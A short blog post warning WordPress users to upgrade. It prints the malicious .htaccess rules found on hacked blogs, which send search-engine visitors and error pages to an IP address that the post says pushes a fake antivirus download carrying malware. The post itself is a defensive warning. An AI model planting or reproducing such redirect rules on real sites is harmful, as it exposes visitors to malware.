There is more then one reason that you should update your WordPress blog to 2.61 but the biggest reason is that many WordPress blogs have been hacked with this.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://87.248.180.88/in.html?s=hg [R,L]
Errordocument 404 http://87.248.180.88/in.html?s=hg_err

It will go to a Russian site that will ask you to download an antivirus and try to install a malware on your computer. If you not updated your blog do it now and be safe.

If you found this page useful, consider linking to it.
Simply copy and paste the code below into your web site (Ctrl+C to copy)
It will look like this: Old WordPress blogs easy to hack

<a href="http://www.stackians.com/2008/08/29/virus/old-wordpress-blogs-easy-to-hack/">Old WordPress blogs easy to hack</a>